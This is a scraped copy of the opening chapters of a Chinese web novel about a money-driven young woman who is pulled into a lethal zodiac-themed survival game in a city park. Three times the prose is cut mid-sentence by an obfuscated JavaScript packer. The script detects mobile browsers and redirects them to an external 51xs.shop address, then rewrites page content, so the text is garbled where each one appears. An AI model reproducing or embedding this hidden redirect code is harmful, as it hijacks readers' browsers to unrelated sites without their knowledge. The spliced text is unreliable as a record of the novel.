《星座游戏[无限]》 1. 九星连珠 初秋深夜,B市的一条小路上空空荡荡。早枯的黄叶零星飘落,轻轻碰触地面,发出窸窸窣窣的响声。 云真真快步独行,脚步坚实笃定。长至腰间的黑发遮住大半张脸,发丝间露出的脸颊挂着一层惨白。 冷风不时袭来,白色连衣裙随之飞舞,裙摆在纤细的脚踝处左摇右摆,远远看去,人仿佛不是在走,而是在飘。 此刻的模样,出现在以绿光和黑夜为主色调的鬼片里,再适合不过了!云真真满意地想着。 她环视四周,试图抓个幸运路人,验证自己是不是能让空气骤降几度。 他们大惊失色、丑态百出的模样,实在是太有趣了。 不巧的是,一个人影都没遇到。毕竟赶上这奇怪的年头,太阳一落山,大家都选择家里蹲。 不是因为黑夜太黑,而是因为黑夜不再黑。 头顶上方,几颗亮度极高的星星赫然挂在夜空,将千百年来一片漆黑的天幕染得诡异无比。 “九星连珠”天象发生了。 几个月前,日月星辰仿佛被一只巨大而无形的手拨弄着,到指定位置后精准连珠。 日夜依然在交替,季节也在变换,但天上的连珠星却始终不曾改变位置,如同悬在头顶的达摩克利斯之剑。 天体物理学系统彻底崩溃,科学家疯掉好几个。牛鬼蛇神纷纷出洞,在各种场合频繁开舞。 普通民众先是恐惧,接着是观望、试探、好奇,最终选择以“好心态决定人的一生”为终极价值观:有的想穿越回大清和一众皇子谈恋爱,有的想召集神龙实现愿望,也有的早活腻了,天天期盼一切毁灭、重回虚无。 云真真却一笑而过,把它看做吃一顿饭、喝一口水那样自然的事。 无论是世界末日还是宇宙尽头,她丝毫不在意。 她心中有一个巨大宏伟、不可磨灭的目标,全宇宙都要为它让路。 实现这个目标的首要条件,就是拥有足够的钱。 自从目标确立的那一天起,她就将双脚踏踏实实地踏在大地上,一老本实又无比贪婪地搞钱。 苟活一分钟,拼搏一分钟。 宇宙总是不会让人如愿。伴随“九星连珠”一同发生的,还有人类科技无法解释的星座游戏。 无限流小说中那种。 游戏以副本形式随机出现,时间、地点、频率、参与玩家等等,看似都是随机的。 官方火速成立星座游戏调查局,民间也冒出不少组织,对出现在B市的几个游戏副本展开分析,但谁也没能研究出所以然。 唯一一点能够肯定的是,在游戏中落败的人必死无疑,死得透透的那种。 侥幸是人的天性。大家发现地球暂时没有毁灭的倾向,进入游戏的只是少数倒霉鬼,便又该吃吃、该喝喝,该吹牛逼绝不谦虚。 世界依然运转着,尽管带上了些许病态。 云真真极力避免进入游戏,倒不是因为怕死。 因为钱还没达到构建她宏伟目标的数目。 更何况,以她的切身体会,穷可比死可怕多了。 深更半夜冒着被卷入游戏的风险独自出门,说到底不过为一个“钱”字。 这次接的活是拍阿飘题材的短剧,她扮演群鬼之一。为了结算薪资时不被抠除服化费,她选择自当妆娘。 她把贞子的图片放到最大,一处一处细看,糊惨白色的面粉墙、画立体伤口的阴影、再配上一对乌青的熊猫眼,最后对着镜子咧开黑色嘴唇,断断续续念出剧中台词:“你看我……几分像……从……前?” 道高一尺,魔高一丈,谁知道剧组比她还抠门,比草台班子还破烂:为了节约费用,甚至不搭摄影棚、不请后期制作。 第一次演员会议上,制片人王姓秃顶男喷着吐沫星子,对着群演们大手一挥:“实景拍摄,才更真实、更带感嘛!半夜的大羊公园,石羊雕塑在黑暗中影影绰绰,阴冷的小风这么一吹呀,奥哟哟,这感觉不就来了嘛……” 云真真听得哑口无言,翻着白眼儿数起他头顶珍贵的毛到底有几根。 画完“给你们锻炼机会”“表现得好下部剧还找你们”等大饼之后,王制片终于轻描淡写地带出时薪。 比他头顶的毛还要少!!! 明明招聘公告上标明的时薪比这高三倍,自己也因此放弃了另外一个工作机会。权衡一番,云真真决定散会后单独留下来争取权益。 她的笑容公式化中又带着几分真诚:“王制片的剧本太精彩了,拍摄思路也很厉害,能节约经费、能保证效果,真是一举多得!啊对了,还有一件事,我在剧里的角色,是群鬼中的显眼包,工时费是不是可以按照招聘公告上的标准执行呢……” 王制片先被夸得红光满面、昂首挺胸,一听到钱便用老鼠般的豆眼儿滴溜溜打量着云真真,咽了口口水:“你是人事组招的,我不清楚你的演技,有待考察。这样,明天正式拍摄,你提前一个小时到片场,找我试试戏,你懂得,试试戏哈!” 算盘打得这么响,天上那九颗珠子都听到了。 云真真再次加深了“人间皆丑态”的信念。一双杏眼生出不易察觉的寒风,嘴角却扬起,微笑着点头,干脆地回了一句“好”。 走出一段距离后,她才把手机从袖口里抽出来,关闭视频拍摄功能。 对于金钱,她持既要、又要、一直要的态度。 她打算复制以往的成功经验:上次拍下了邀约证据,今天,确保安全的情况下,拍下王制片让演员提前去试戏的真实面目。 有了这几段视频,肯定就不能按照公告里时薪标准执行了。 从哪个角度拍摄呢?要多少好呢?想到账户中即将上涨的数字,云真真兴奋地加快了脚步。 快到公园时,隐约听到一阵断断续续的广播声音。 扩音工具应该是菜市场上常见那种大喇叭:“警告,警告,前方大羊公园有耍游戏的风险,你们要是不相信就去噻,回不回得来我就不晓得了哈……” 耍游戏?云真真想起新闻里播报过,月黑风高、人迹罕至都将增大卷入星座游戏的机率。 她的脚步并未减慢。赚钱的心坚如磐石,惩罚坏人的兴致居高不下。更何况,这个“大喇叭”也同样在夜间坚持工作嘛。 大喇叭声音戛然而止。一个带着“游戏劝导员”红袖标、满头羊毛小卷的阿姨举着大喇叭僵在原地,见鬼一样脚步蹒跚着连连向后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284372|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退:“哎哟妈呀,咋还跑出来了呢?怪物些不都在公园里吗?眼睛都是红色的说……” “阿姨好!”云真真尽力友好地微笑,试图露出人畜无害的模样,却因为精心打造的乌青眼圈显得更加阴森瘆人,“我不是怪物,我是人。这眼睛啊……” 她边解释边僵硬地伸出两根手指,直直戳向自己的右眼球。 阿姨颤动着一头羊毛小卷,摆出“退、退”的姿势有节奏地连连退后:“哎哟哟,你不用把眼珠子摘下来给我看哈,我要那玩意儿也没有用,又卖不得钱……” 云真真被阿姨逗得一笑,将血红色美瞳托在食指尖:“阿姨,这是美瞳。我这造型,都是化妆化的!对了,你在这里做夜间劝导员,能赚多少钱呀?” 阿姨半信半疑,依然保持防备姿势,也不忘好心提醒:“我懂不起,你那红眼珠子是美瞳丑瞳……你是人的话,就不要进公园哈,上面调查说了,人走进去就有很大可能耍游戏。公众号上也有,我不是吓唬你的哈……” “谢谢阿姨!”云真真不愿再吓唬阿姨,提起连衣裙向公园方向飘去,“我进去赚钱的,和你一样。” “你是金牛座嗦?钱啊,看得跟命一样重要。”云真真迈进公园门之前,大喇叭在后方划破夜的寂静。 金牛座爱钻钱眼儿,是最粗浅的表征,连阿姨都知道这点。 星座游戏降临地球之后,男女老少都热衷于钻研星座知识,占星学火速成为炙手可热的学科,顶尖学府均在筹备设立相关专业。AI、金融、管理等大热专业反而退了烧。 “阿姨你看人看得好准”,云真真停下脚步,转过头大声回答。 诡异的夜晚,瘆人的冷风中,两个女人出于同样的目的相遇,如同两朵微弱跳跃的烛火照亮彼此片刻。 是不是金牛座一点也不重要。 踏入大羊公园瞬间,整个空间像是被“咔嚓”一声按下开灯键,黑夜顿时被硬生生扭转成白天。 即使做好心理准备,云真真依然被突如其来的光线刺得猛然紧闭双眼。 眯着双眼仰起头,头顶是一片澄澈湛蓝的天空,风中夹着几丝暖意,微带泥土青草香,麻雀时不时叽叽喳喳几句,扑腾着翅膀起飞。 季节似乎也从深秋转换成早春。 一块不知用了什么鬼技术的空中大屏骤然出现,伴随着一个浑厚有力的男青年声音:“欢迎进入星座游戏!玩家12人已全部到齐。请所有玩家在10分钟内前往石羊广场集合!本游戏主理人是个急脾气,不喜欢等人……” 云真真的心砰砰撞击着胸腔,耳朵连着太阳穴嗡嗡作响。不是因为害怕,而是实在生气。 平时最恨“主理人”“赛道”一类的词,这回算是集齐了!更加可恨的是,一举两得的赚钱事业被彻底耽误了。 她痛恨起自己延迟满足的好品质:在宏伟目标达成之前,活的像狗一样也无所谓。 她也痛恨自己的强迫症:必须达到目标金额,少一分都不行。 深呼吸几次努力平复心情,云真真安抚自己:目标尚未实现,同志仍需努力。 山顶绮丽诡谲的风景在召唤我的灵魂。 眼前这星座游戏,暂且玩玩看。 2. 斗羊大赛(1) 大羊公园位于寸土寸金的城市中心,面积可想而知不会大,从大门口到石羊广场只需四五分钟的路程。 途中需要经过“梦幻花海”——三个可怜巴巴的小花坛,一个“森林长廊”——十几棵半死不活的树。 之前她在“梦幻花海”拍摄过视频短剧,角色丰富异常——霸总的小娇妻,陷害好友的恶毒女,被抛弃的祥林嫂原配……也曾在“森林长廊”搔首弄姿,忧郁望天,拍摄主题为“纯欲森林”“林深见人”的小店大片。 她对公园布局并不陌生。此刻,却第一次留意景点名字与实际情况的惨烈对比,不禁笑出声来。华丽的名字,是为城市人特意缝制的“皇帝新衣”。 经过“森林长廊”时,云真真敏锐瞥见右前方的大树后有什么东西一闪而过。 她放慢脚步,调整角度,一只拙劣躲藏的脚出现在视野里,踩着一只破破烂烂的、沾满了泥巴的深蓝色塑料拖鞋。 玩家?NPC?还是意味着游戏已经正式开始,正在上演面试之前观察面试者是否主动捡起垃圾的套路? 根据配音无限流有声书的经验,云真真头上一瞬间冒出五百个问号。 沉思片刻,她将散落在两边的黑长直向着鼻尖拨动,直到乌黑秀发遮住整张惨白的脸。 戏演不了了,也别浪费妆造嘛。苍蝇腿儿也是腿儿,上了脸的化妆品也要钱。 她丝滑地飘向大树,在蓝拖鞋藏身的树干前停下脚步。 血红色双眼圆瞪,嘴角向两边扯到极限,一寸、一寸向大树后方伸出脖子。 “啊——啊……啊”,尖叫声在破音的边缘来回游走。 接下来是“咚”地一声倒地,一只蓝拖鞋直直飞起,不偏不倚砸回主人头顶百会穴。 “你……你……别过来,我要举报,举报!主理人,主理人!游戏还没正式开始,NPC怎么吓人啊……”单肘撑地、身体瘫软陷在地上的是个锅盖头小黄毛,古铜色皮肤,岁数不大却透着经常下田劳作的健硕。 他手脚并用,试图站起来,却一时无力,再次踉跄着栽倒在地。 云真真打心底觉得好笑。鉴于时间紧迫,也只好收起恶作剧的心,轻轻把挡住脸的发丝别向耳后,摘下血红美瞳甩在草丛里,向小黄毛歪头一笑:“我也是玩家。脸是化妆化的。” 小黄毛愣住几秒,颤颤巍巍地捡回拖鞋,才敢正脸打量云真真,胆子回来大半:“害,早说嘛!吓死爷了。你一个小姑娘,怎么打扮成这样?衣服白,脸比衣服还白,还挂一朵血红色的坟头花……” 云真真低下头,轻轻抚摸着左胸口别着那朵血红色、绒布材质的彼岸花:“这花……是我的吉祥物。戴上它就会有好事发生。” 个屁。 “摘了吧,不吉利。”小黄毛终于站了起来,大大咧咧拍着屁股上的泥土,又试图伸出手触摸彼岸花,无奈看到一手泥巴,只能尴尬地收回手挠头,“这花,开在我们村坟场里……” 小黄毛显然是个E人,虚惊一场后便叽里呱啦说个不停。两人结伴向广场走去的时间里,云真真不用可以套,便轻而易举地掌握了他的名字、籍贯、学历、家庭结构、在B市做什么职业、爱吃的东西、喜欢看什么剧等等等等。 就差没说内裤的颜色和款式了。 非要和人相处的话,云真真选择这种单纯而快乐的人。没什么坏心思,即使面对生死和未知,他依然一幅该吃吃、该喝喝的模样。甚至连名字也充满快乐:金乐儿。 石羊广场已经聚集了不少人。云真真眼睛一扫,10人。加上自己和金乐儿,一共12人。 因为一身贞子装扮,其他玩家看见云真真后集体向后移动了半米。 只有一个油光铮亮的秃顶跳出来直跺脚:“让老子白等半天,还他妈进入狗屁游戏里!你是不是故意的,活该只能演女鬼……” 王制片嗓门越来越大,话语越来越不堪入耳,尽情宣泄着熟鸭子飞走了的愤怒和卷入游戏的恐惧。 金乐儿觉得自己和云真真已经算熟人了,有义务站在她这边,刚要双手叉腰口吐芬芳,却被云真真轻轻拉了一下胳膊。 C字头的优雅汉字活生生憋了回去。 “对不起,王制片。我……我早就来了。”云真真局促地低下头,弱小无助地咬着嘴唇,“但一直没找到您……和剧组。” 王制片在示弱的作用下骂得更厉害了。 “看我这暴脾气!”金乐儿终于无法忍受,紧拧的眉头骤然挑起,双手叉腰、放大音量和他对喷起来。 云真真十分清楚,王制片小丑跳梁一般乱咬人,实际上是出于恐惧。 呵,无能。 “闭嘴。游戏马上开始,想活命的话听指挥。”见这边起了冲突,一个宽肩窄腰、身材细长的男人不疾不徐走了过来,声音冷峻,透出不容置疑的强硬。 云真真略带诧异地看向男人。枪打出头鸟,这种人在小说里一般活不过第一章,在职场中也属于首批被优化的那一类。 又嘴硬又逞强。 男人约二十五六岁,不长不短的发丝凹出恰到好处的弧度,样式简单却质地高级的白衬衫透着淡淡光泽,纯色休闲牛仔裤剪裁立体,包裹着肌肉含量很高的长腿。 星眉剑目,带着几分鄙夷和不懈;高鼻梁显示出攻击性,边缘清晰的薄唇吐出冷漠无情。 “这人谁啊?”金乐儿扭头看着云真真,带着几分妒意小声嘀咕,“长得帅也不能这么屌啊……” “他……”一个初中生模样的男孩答话,“说要带着大家通关,一个都不能少。听他的吧!” “对对,他参加过好几场游戏了”“总得有棵大树给我们挡风遮雨……”好几个玩家附和着。 这位小哥到底有什么手段,让刚见面不久的人就甘心听他的话? 然而云真真的人生经历教会她,人不能被分类为“帅”“普通”“丑”或者“领导者、跟随者”几类。金钱多少与素质高低的排列组合才是王道。 从小哥的五官身形和衣着打扮来看,他家境显然不错。 但气质过于古早风。他难道不清楚,霸总已经淹没在时间的长河之中,现在吃香的可是病娇。 看上去冷漠武威,实际上在用“以暴制暴”的方式来调和矛盾。 云真真暂时把他打入“外强中干公子哥”类目:锦衣玉食惯了,没体验过人间疾苦,也没尝过满满恶意,才想要带领全部玩家通关。对于真正的世界,他们这类人了解的只是个毛线头。 她频频示弱、楚楚可怜,本意是引得王制片再激动一些。人一上头,必然降智,游戏中失败的可能就会越大。此外,也能在其它玩家面前强化王制片的霸凌者和自己的弱鸡人设。 正如面试套路里的优胜者,并不是出于好意或熟悉套路而捡起垃圾的人,而是自己提前丢垃圾、再主动捡起来的人。 真正的游戏者,在游戏开展前便已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284373|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入状态了。 本来一石好几只鸟的事,被眼前这个装逼男人彻底打断。 空中巨幕再次浮现,同时伴随着单调的金属机械音: 【星河浩瀚,游戏好玩!欢迎来到星座游戏。】 【消极游戏化作流星 游戏失败变为恒星 通关游戏遨游宇宙】 【本关游戏说明:】 【弱小的斗羊人们,请在3天之内获得一对羊角!炽烈之火,尽情燃烧吧!】 音画消失的瞬间,一朵巨大的七彩礼花在空中骤然爆开,绽放成一只巨大的羊头符号,旋即旁边又蹦出一朵小烟花,开出一朵阿拉伯数字“3”。 云真真马上认出,羊头礼花是白羊座的占星符号。 为了赚钱,她在网上给人看八字、看手相,也做占星师,最擅长说“你这个人能力强,就是欠缺机会”“你的心里有一片纯净之海,厌恶世俗的浮夸”“你的另一半不了解你的心”诸如此类的话。 四海之内皆准的模糊说法,却造就了她在圈内的好口碑,客户经常被感动到痛哭流涕、连连说准。 当然也不能一点都不懂。为了用高深的术语、高级的话术,云真真掌握了一些占星知识,自然认得白羊座符号,但数字3的含义,尚不得而知。 斗羊人,羊角……是要开草原主题的COSPLAY聚会?正思索着莫名其妙的线索,玩家中一个女孩子走上前来,微微前倾头观察云真真,轻声问:“你……你是……云真真?在春竹小学读过书?” 云真真收回思绪,漆黑的瞳孔中映出女孩的身影:公主卷发,清纯可人。 “对呀。”云真真捏细嗓子,歪头露出一脸疑惑的表情,“不好意思,请问你是……?我啊,头部受过伤,记忆力不太好,真是对不起。” 卷发女孩朱唇轻启,欲言又止,最终勉强回答“我是你隔壁班的,不认识也正常”。 话毕便藏回一个年轻男人身后。两人看上去是情侣。 哦?你也在。事情变得有趣了。云真真难掩兴奋,心中爆出一朵赤红色的小烈焰。 “来了来了,主理人来了。”金乐儿指着越走越近的身影,露出一副“哥罩着你”的骄傲模样,“NPC长得奇形怪状、都是歪瓜裂枣,你可别害怕!” 云真真:好像,胆子小的是你才对…… NPC的身形在阳光下逐渐清晰,玩家们瞬间遭受到强烈而浓厚的压迫感,仿佛千斤重担压在头顶,稍动一下就会被整个锤进土里。 NPC如同一堵高大厚重的坚实石墙,足有3,4米高,遮住了半边天光;五官粗犷,毛发茂盛,壮硕异常,像一个传说中的巨人。 他每走一步,地面微微颤动,玩家们脚下随之传来阵阵酥麻,一直传导到大脑里掌管恐惧的中枢。 他越走越近,玩家们的头从与水平线呈0度,仰到30度,再到60度,最后几乎接近90度。 有些滑稽的是,他头戴着一顶高高的白色厨师帽。 “就……一个人,不对,一个NPC吗?”隔壁班的卷发女孩弱弱发问。 “白羊座,喜欢并擅长单打独斗。谁想和他做队友,他就会用鼻孔报以鄙视。”一个戴眼镜的中年男人哗哗翻动着手中的笔记本。 玩家们分析主理人的时候,云真真却分析起玩家。 她敏锐察觉到,卷发女不是首次进入游戏,而眼镜男则是个不错的结盟对象。 3. 斗羊大赛(2) “斗羊人们,欢迎欢迎!”头戴超大号厨师帽的巨人站定,扫视全场玩家,毫不掩饰失望:“我是游戏主理人,你们没人迟到,真是……好习惯。” “喂喂,你看!他的胡子几乎盖了半张脸,难道说……他满脸都是下巴,哈哈哈哈……”金乐儿轻声在云真真耳嘀咕,“不过呢,比我之前见过的那些都要强点,起码不会看见就想吐,也不会阴森森的飘来荡去……不是,我没说你……” 云真真微笑算是回应,偶尔在他滔滔江水般倒不尽的话中舀起有用的一瓢,其他注意力则全部集中在游戏规则上。 斗牛、斗鸡、斗蟋蟀听说过,“斗羊”二字在她的知识库中还是第一次出现。 通关条件是获得一副羊角。按照白羊座简单粗暴的特质来说,难不成是打残这个巨人,再把他吊起来言行逼供出羊角在哪里? 云真真仰起头看着巨人的鼻孔,再低头看着自己不够强壮的小身板儿,打消念头。 令人在意的还有那个礼花绽放而成的数字3。是暗示有3个人通关,3个NPC?还是代表难度等级,或是白羊座众多副本的序号? 千头万绪太多,只有见招拆招。不管是烟花大会还是世界末日,一定要尽快通关出去。 如果彻底交待在这儿,那些不分昼夜、不顾性命赚来的钱,就成为超级大的黑色幽默了。 “啊,我有问题要问。”戴着眼镜的中年男人一手拿笔记本,一手高举,端正地像个刚入学的小学生,“请问你是不是白羊座,你喜欢暴力和争勇斗狠吗?斗羊是什么意思,是字面上的意思吗?还有,你可以摘下帽子、脱下鞋让我量量尺寸吗……” “轮到你说话了吗?脱你妈……!”巨人突然沉下脸,怒气冲冲朝男人望过去,鼻子里呼哧呼哧喷着气,漆黑的眼中闪过血红色的光。 白羊座性子急、容易暴躁,最讨厌听婆婆妈妈的碎碎念。玩家们加深了对白羊座的刻板印象,迅速远离眼镜男。 眼镜男孤零零地站在原地,淡定地翻着笔记本:“哎呀,莫气莫气,不想回答就不回答。生气伤肝,肝属木,木又生火,气大了你的心脏也会不健康的……我说这个白羊座啊,就是容易生气。” 话毕在笔记本上写下“易怒”两字,又用笔尖重重点了两下表示满意。 这话痨“唐僧”,看样子不怎么怕死。底气挺足,要么是有经验有实力,要么就是脑袋进过水。云真真边分析边不顾死活地“飘”到他身后,瞥向他厚厚的黑色笔记本。 翻开的一页上画着巨人速写,准确生动。旁边记录着如“身高约2米(含帽子)、鞋码?(待问)”之类的信息。 空气中突然涌起阵阵热流,四周似乎被火炙烤着。云真真只觉一阵莫名心烦,烦躁在血液里翻滚着,生出一种想要打人的冲动。 阴影覆盖在眼镜男的笔记本上。巨人泰山压顶般矗立在他身后,拳头攥得咯咯响。 “住口!别插话!老子最烦碎……碎……念!”巨人胸口剧烈起伏着,声音频率很低却震天动地,整个石羊广场再次颤动起来。 “咔、咔”,清脆的碎裂声传来。 “这谁啊?胆子吓破还能发出声来?”金乐儿贼头贼脑地观察着大家。 咚咚哐当……似乎有什么重物轰然砸到地上。 “原来不是胆子……”金乐儿讪笑着地挠挠头。 白衬衫公子哥率先定位到声音来源——广场上的石羊雕塑,疾步走了过去。 石羊中的一只碎掉了。不是四分五裂地碎成渣,而是自脖颈处齐齐断开。一只羊头白惨惨地在地面上滚动。 公子哥卷起袖口,轻松抱起羊头,试图安回去,却始终没有成功。 “白羊座对应着人的头部,那就说明……”一片寂静之中,只有眼镜男在笔记本上边“沙沙”写着边念出声。 云真真的烦躁之心熊熊燃烧,将他纳入盟友的心思减弱了一大半:干嘛一开始就惹怒NPC!好好假扮听话小绵羊就行了,非要做一个碎嘴唐僧! 后果无疑是严重的。她早已观察到,形态各异的石羊数量为12只,恰好对应玩家12人。 规则还没公布,就无端碎了一只。 公子哥大步流星地走过来,扬起骨节分明的手,“啪”一声合上了眼镜男的笔记本,阴沉地让他闭嘴。 厨师帽巨人见状,面色有所缓和,似乎对公子哥的举动表示满意:“我是主理人。真要当急急国王,也应该是我!小小惩罚,不成敬意……” 巨人心情显然好转,轻松地抬起脚,将质量不小的石羊头踢得无影无踪。 眼镜男死不悔改,重新打开笔记本,默默在速写旁边记下:好斗好胜,要求别人服从,脾气来得快去得快。又画了一个大大感叹号,写上“不要插嘴”四个大字。 “现在公布第一项任务。”巨人终于满意地扫视噤声的“小羊”们,“每位斗羊人挑选一只石羊作为你的专属斗羊。双手握住石羊的两只角,持续5秒钟就能绑定。” 关键信息在公共面板、个人面板上同时亮起。 玩家们一窝蜂地跑向石羊雕塑群,像地铁初始站依靠武力抢座的大爷大妈。 很显然,不止云真真一个人发现了羊少人多的秘密。 云真真紧跟着金乐儿,在他的提示下迅速锁定一只小羊,仅用单手握住羊角。 光滑而冰凉的触感沿着掌心一直传到大脑,大脑变得异常清醒。 人出生于世上,首先认知的是“我”,正如第一宫白羊宫,与“自我”相对应,所谓的“自私”是本能。 有一个玩家注定得不到斗羊,但一定不能是我。远方的目标一直在召唤我的灵魂。 “4号玩家与斗羊成功绑定。” “8号玩家与斗羊成功绑定……” 公共面板中不断弹出信息。在金乐儿的频频催促下,云真真伸出另一只手握住了羊角。 “12号玩家与斗羊成功绑定。” 众目睽睽的焦点最终落到两只石羊,三个玩家身上。 一个是眼镜男,一个是公子哥,另一个是一位从游戏开始起就没说过话的、衣衫褴褛的老人。 “你们仨怎么分配?”巨人毫不掩饰恶意,大声笑道,“斗羊人没有羊,就像羊没有草。羊没有草,那就得死!这样吧,不如你们决斗。” 眼镜男刚想开口,公子哥以一个凌厉的眼神将他的话生生逼了回去,又转向巨人:“规则之外的事,我们自己讨论决定。” “切,没劲。你们这组玩家不行。”巨人把手指掰出咯吱咯吱的声音,伸出黑紫色舌头舔了一下嘴唇,“决斗用的剑我都准备好了,一下就能开膛破肚,痛快痛快。” 言外之意,之前有其他玩家在这个环节上决斗过。 “正式自我介绍一下吧。”眼镜男指着本子封皮上“华国社科研究院”的LOGO,“这祸是我惹出来的,我承认。我是一名研究员,名叫丁卯。我参加游戏并存活到最后有重要意义,那就是尽可能收集、分析游戏信息和机制,带回研究院,造福全世界。” “所以连他的鞋码都要收集?”金乐儿插科打诨看热闹。 “我是严谨的处女座。大数据研究表示,处女座非常适合做学术……”眼镜男不理会他,得意地推推眼镜,还要继续发表长篇大论,再次被公子哥冷冷打断。 “我叫白深,在警校当教官。”男人惜字如金。 衣衫褴褛的老人始终低着头,双眼浑浊,半天不说话。 巨人的鼻息声越来越重,显然已经开始不耐烦了。空气逐渐炽热,卷发女孩脱下开衫外套,露出香肩。 王制片紧紧揪住羊角的同时飞速擦汗,指责起丁卯:“就是因为你,石羊才会少一只嘛!” “对对,一人做事一人担。你得负起责任,把羊给白深和老人。” 玩家们如同被架在火上烤,都想快刀斩乱麻结束纷争。 也有玩家不同意。认出云真真的卷发女孩说:“这个游戏,不知道是对抗还是合作模式。万一是合作,应该把最弱的人率先推出队伍。” 云真真用余光瞥了一眼女孩。这话,似曾相识。 在玩家争论不休的声音中,巨人终于忍不住了:“老子数到三,给我个结果!不然你们都会变成美味人排……” “斗羊分给他们俩。”白深冷静决绝,“规则里并没写明,暂时没绑定斗羊的玩家会游戏失败。” 云真真发热的头脑冷静了一些。没错,巨人始终在蛊惑玩家们彼此争斗。玩家们不负所望,甚至自己也在无知无觉中成为了地铁抢座大军的一员。 “没劲。”巨人沉默3秒,露出鄙夷而失望的表情。 公屏亮起:【提示:80%以上存活玩家绑定斗羊后,主理人将公布下一步规则。】 丁卯看向白深,得到默许一般率先绑定石羊。 “你去。”白深双手插兜,用下巴示意老人。 老人仿佛变为石羊雕塑,伫立在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284374|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原地一动不动。 白深揪起老人的衣领,硬生生将他提到石羊面前。 老人挣扎着,颤巍巍抬起头,眼中一片浑浊与漆黑交织。 “我……我不要羊。”老人声音哽咽,“不公平,游戏从一开始就不公平……你们年轻力壮,我年老体弱。12个人,11只羊。不患寡而患不均啊……” “闭嘴!”白深猛推一把,老人跌坐在地。 “有话好好说!”“你怎么也得尊老爱幼啊!”其他玩家展露出好心。 云真真却洞悉了白深的想法。老人这样说下去,也许会被判定为消极游戏。 “呵……从进入这片草坪开始,我就头昏脑涨,胸口生疼。”老人并不理会,颤巍巍地摸着地上毛茸茸的草芽,不觉已老泪纵横,“我是计划经济时代的人,不属于这里……这一片生机勃勃的世界。我选择公开个人面板,不想再玩这场游戏了……” 话音刚落,“咔嚓”断裂声和“咕咚”坠地声再次接连出现。 只不过,刚才掉落的是石羊头,这次换成了老人头。 公共屏幕随之亮起,伴随着热情洋溢的男声:【1号玩家林国庆消极游戏,按照规则化为流星,咻~其余玩家继续游戏。】 颈部动脉的鲜血呈喷射状,灌溉着绿得晶莹的草地。 柔软的春风中,玩家一片死气沉沉。有人低下头,有人背过身干呕起来。 赤红色侵染视网膜,铁锈腥充斥着鼻腔,云真真尽力保持镇定,也终于真切体会到,游戏中是会死人的。 但不知道为何,有一种莫名的兴奋感在体内翻滚。同时,她对这种不道德的感觉升起一丝愧疚,又马上安慰自己这是受了白羊座关卡的影响。 嗜血是白羊的特质。 “速战速决,NICE!”巨人打了个响指,伸出两根手指捏起老人的头,另一只手拎起双脚,拖了几步又转过身来,“天黑之前开饭,所有斗羊人在山坡上那片帐篷露营区集合。别迟到,我最讨厌迟到!” 巨人转身向公园管理办公区的方向走去。老人被拖拽着,在碧绿草地上画出一道触目的红线。 “请等一等,”丁卯挥舞着笔记本,“这位老人说过要公开个人面板!” 巨人侧头,不耐烦地哼了一声,老人的个人信息在公共屏幕上出现。 【姓名:林国庆 年龄:65 状态:已死亡 星座成分:天秤座98% 技能:平均分配(3级)】 “嗯……这样分析来看”,丁卯在笔记本上画了一个圆形,等分为12份,又在处于180度对立的其中两份涂上阴影,碎碎念着,“白羊座与天秤座相冲,这个副本是白羊座,对天秤座老人有一定影响。他开局处在极为劣势的状态,所以才会放弃游戏……” “装什么狗屁专家!”身材最壮硕的男人似乎是巨人的缩小版,同样用鼻孔看人,“就是你让那个老不死的先死一步,还赖上副本了!” 云真真早就对这个男人升起警觉心。绑定斗羊的时候,他粗暴地挤开并恐吓了王制片,抢到一只体型最大的石羊。众多石羊中,只有这只大羊的羊角涂满了红色颜料。 丁卯的偏执劲儿上了头:“这位大哥,我们要用科学精神就事论事,别搞人身攻击!你看他的技能点,都加到了‘平均分配’上。就算不知道技能具体功能,从名字上大概能推断得出来。刚才羊少人多,这个技能是废掉的,甚至产生了负面影响……” “废话多!”大块头打断丁卯,举起拳头唱RAP,“老子听明白了!这副本是白羊座,老子恰好也是白羊座,所以老子更强,老子更壮,老子最牛逼,宇宙无敌第一……” “闭嘴。已经死了一个人了。”白深声音冷得结了冰,“这是真实的生死游戏,不想死的别内讧。” 在所有玩家中,他曾把羊让给老人,又积累了一层道德资本,说出的话更具有权威性。 “团结就是力~量!”金乐儿没心没肺地接唱一句,又出于善良提醒白深,“你赶紧去把斗羊绑上,免得一会刮风一会下雨的,地里庄稼没收就全遭殃了。” 白深一言不发,径直走到广场旁边的儿童乐园区,拉长脸坐下。 大概是不愿意与剩下的蠢人为伍。 “喜羊羊,美羊羊,懒羊羊,沸羊羊,慢羊羊……” 鬼畜儿歌响起,他才发现自己坐在了摇摇椅上。 他的脸色明显更阴暗了。 4. 